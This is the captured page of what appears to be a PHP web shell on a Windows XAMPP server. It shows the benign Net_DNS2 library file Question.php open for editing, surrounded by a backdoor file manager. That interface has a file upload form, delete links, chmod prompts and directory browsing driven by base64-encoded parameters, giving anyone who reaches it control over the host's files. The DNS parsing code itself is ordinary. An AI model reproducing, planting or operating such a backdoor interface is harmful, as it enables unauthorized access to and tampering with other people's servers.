1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19	20	21	22	23	24	25	26	27	28	29	30	31	32	33	34	35	36	37	38	39	40	41	42	43	<hr>Question.php<form method=post action="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI%3D&f=UXVlc3Rpb24ucGhw"><input name="f" value="Question.php"><textarea name="t">&lt;?php
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * DNS Library for handling lookups and updates. 
 *
 * PHP Version 5
 *
 * Copyright (c) 2010, Mike Pultz &lt;mike@mikepultz.com&gt;.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 *   * Redistributions of source code must retain the above copyright
 *     notice, this list of conditions and the following disclaimer.
 *
 *   * Redistributions in binary form must reproduce the above copyright
 *     notice, this list of conditions and the following disclaimer in
 *     the documentation and/or other materials provided with the
 *     distribution.
 *
 *   * Neither the name of Mike Pultz nor the names of his contributors 
 *     may be used to endorse or promote products derived from this 
 *     software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * &quot;AS IS&quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
 * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRIC
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @category  Networking
 * @package   Net_DNS2
 * @author    Mike Pultz &lt;mike@mikepultz.com&gt;
 * @copyright 2010 Mike Pultz &lt;mike@mikepultz.com&gt;
 * @license   http://www.opensource.org/licenses/bsd-license.php  BSD License
 * @version   SVN: $Id: Question.php 124 2011-12-02 23:23:15Z mike.pultz $
 * @link      http://pear.php.net/package/Net_DNS2
 * @since     File available since Release 0.6.0
 *
 */

/**
 * This class handles parsing and constructing the question sectino of DNS
 * packets.
 *
 * This is referred to as the &quot;zone&quot; for update per RFC2136
 *
 * DNS question format - RFC1035 section 4.1.2
 *
 *      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
 *    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
 *    |                                               |
 *    /                     QNAME                     /
 *    /                                               /
 *    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
 *    |                     QTYPE                     |
 *    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
 *    |                     QCLASS                    |
 *    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
 *
 * @category Networking
 * @package  Net_DNS2
 * @author   Mike Pultz &lt;mike@mikepultz.com&gt;
 * @license  http://www.opensource.org/licenses/bsd-license.php  BSD License
 * @link     http://pear.php.net/package/Net_DNS2
 * @see      Net_DNS2_Packet
 *
 */
class Net_DNS2_Question
{
    /*
     * The name of the question
     *
     * referred to as &quot;zname&quot; for updates per RFC2136
     *
     */
    public $qname;

    /*
     * The RR type for the questino
     *
     * referred to as &quot;ztype&quot; for updates per RFC2136
     *
     */
    public $qtype;
    
    /*
     * The RR class for the questino
     *
     * referred to as &quot;zclass&quot; for updates per RFC2136
     *
     */
    public $qclass;

    /**
     * Constructor - builds a new Net_DNS2_Question object
     *
     * @param mixed &amp;$packet either a Net_DNS2_Packet object, or null to 
     *                       build an empty object
     *
     * @throws Net_DNS2_Exception
     * @access public
     *
     */
    public function __construct(Net_DNS2_Packet &amp;$packet = null)
    {
        if (!is_null($packet)) {

            $this-&gt;set($packet);
        } else {

            $this-&gt;qname    = '';
            $this-&gt;qtype    = 'A';
            $this-&gt;qclass   = 'IN';
        }
    }

    /**
     * magic __toString() function to return the Net_DNS2_Question object as a string
     *
     * @return string
     * @access public
     *
     */
    public function __toString()
    {
        return &quot;;;\n;; Question:\n;;\t &quot; . $this-&gt;qname . '. ' . 
            $this-&gt;qtype . ' ' . $this-&gt;qclass . &quot;\n&quot;;
    }

    /**
     * builds a new Net_DNS2_Header object from a Net_DNS2_Packet object
     *
     * @param Net_DNS2_Packet &amp;$packet a Net_DNS2_Packet object
     *
     * @return boolean
     * @throws Net_DNS2_Exception
     * @access public
     *
     */
    public function set(Net_DNS2_Packet &amp;$packet)
    {
        //
        // expand the name
        //
        $this-&gt;qname = $packet-&gt;expand($packet, $packet-&gt;offset);
        if ($packet-&gt;rdlength &lt; ($packet-&gt;offset + 4)) {

            throw new Net_DNS2_Exception(
                'invalid question section: to small',
                Net_DNS2_Lookups::E_QUESTION_INVALID
            );
        }

        //
        // unpack the type and class
        //
        $type   = ord($packet-&gt;rdata[$packet-&gt;offset++]) &lt;&lt; 8 | 
            ord($packet-&gt;rdata[$packet-&gt;offset++]);
        $class  = ord($packet-&gt;rdata[$packet-&gt;offset++]) &lt;&lt; 8 | 
            ord($packet-&gt;rdata[$packet-&gt;offset++]);

        //
        // validate it
        //
        $type_name  = Net_DNS2_Lookups::$rr_types_by_id[$type];
        $class_name = Net_DNS2_Lookups::$classes_by_id[$class];        

        if ( (!isset($type_name)) || (!isset($class_name)) ) {

            throw new Net_DNS2_Exception(
                'invalid question section: invalid type (' . $type . 
                ') or class (' . $class . ') specified.',
                Net_DNS2_Lookups::E_QUESTION_INVALID
            );
        }

        //
        // store it
        //
        $this-&gt;qtype     = $type_name;
        $this-&gt;qclass    = $class_name;

        return true;
    }

    /**
     * returns a binary packed Net_DNS2_Question object
     *
     * @param Net_DNS2_Packet &amp;$packet the Net_DNS2_Packet object this question is 
     *                                 part of. This needs to be passed in so that
     *                                 the compressed qname value can be packed in
     *                                 with the names of the other parts of the 
     *                                 packet.
     *
     * @return string
     * @throws Net_DNS2_Exception
     * @access public
     *
     */
    public function get(Net_DNS2_Packet &amp;$packet)
    {
        //
        // validate the type and class
        //
        $type  = Net_DNS2_Lookups::$rr_types_by_name[$this-&gt;qtype];
        $class = Net_DNS2_Lookups::$classes_by_name[$this-&gt;qclass];

        if ( (!isset($type)) || (!isset($class)) ) {

            throw new Net_DNS2_Exception(
                'invalid question section: invalid type (' . $this-&gt;qtype . 
                ') or class (' . $this-&gt;qclass . ') specified.',
                Net_DNS2_Lookups::E_QUESTION_INVALID
            );
        }

        $data = $packet-&gt;compress($this-&gt;qname, $packet-&gt;offset);

        $data .= chr($type &lt;&lt; 8) . chr($type) . chr($class &lt;&lt; 8) . chr($class);
        $packet-&gt;offset += 4;

        return $data;
    }
}

/*
 * Local variables:
 * tab-width: 4
 * c-basic-offset: 4
 * c-hanging-comment-ender-p: nil
 * End:
 */
?&gt;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=QzpceGFtcHBcaHdzb2Z0">C:\xampp\hwsoft</a><hr>curdir: C:\xampp\php\pear\Net\DNS2<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=Lg==&c=`+btoa(c):0" value="0777"></td><td>4096</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=Li4=&c=`+btoa(c):0" value="0777"></td><td>4096</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&x=Qml0TWFwLnBocA==">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=Qml0TWFwLnBocA=="/>BitMap.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=Qml0TWFwLnBocA==&c=`+btoa(c):0" value="0666"></td><td>7238</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzJcQ2FjaGU="/>Cache</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=Q2FjaGU=&c=`+btoa(c):0" value="0777"></td><td>0</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&x=TG9va3Vwcy5waHA=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=TG9va3Vwcy5waHA="/>Lookups.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=TG9va3Vwcy5waHA=&c=`+btoa(c):0" value="0666"></td><td>21368</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzJcUGFja2V0"/>Packet</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=UGFja2V0&c=`+btoa(c):0" value="0777"></td><td>0</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&x=UGFja2V0LnBocA==">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=UGFja2V0LnBocA=="/>Packet.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=UGFja2V0LnBocA==&c=`+btoa(c):0" value="0666"></td><td>11760</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&x=UHJpdmF0ZUtleS5waHA=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=UHJpdmF0ZUtleS5waHA="/>PrivateKey.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=UHJpdmF0ZUtleS5waHA=&c=`+btoa(c):0" value="0666"></td><td>11134</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&x=UXVlc3Rpb24ucGhw">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=UXVlc3Rpb24ucGhw"/>Question.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=UXVlc3Rpb24ucGhw&c=`+btoa(c):0" value="0666"></td><td>7549</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzJcUlI="/>RR</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=UlI=&c=`+btoa(c):0" value="0777"></td><td>8192</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzJcU29ja2V0"/>Socket</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=U29ja2V0&c=`+btoa(c):0" value="0777"></td><td>0</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&x=U29ja2V0LnBocA==">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=U29ja2V0LnBocA=="/>Socket.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTmV0XEROUzI=&f=U29ja2V0LnBocA==&c=`+btoa(c):0" value="0666"></td><td>5052</td></tr></table>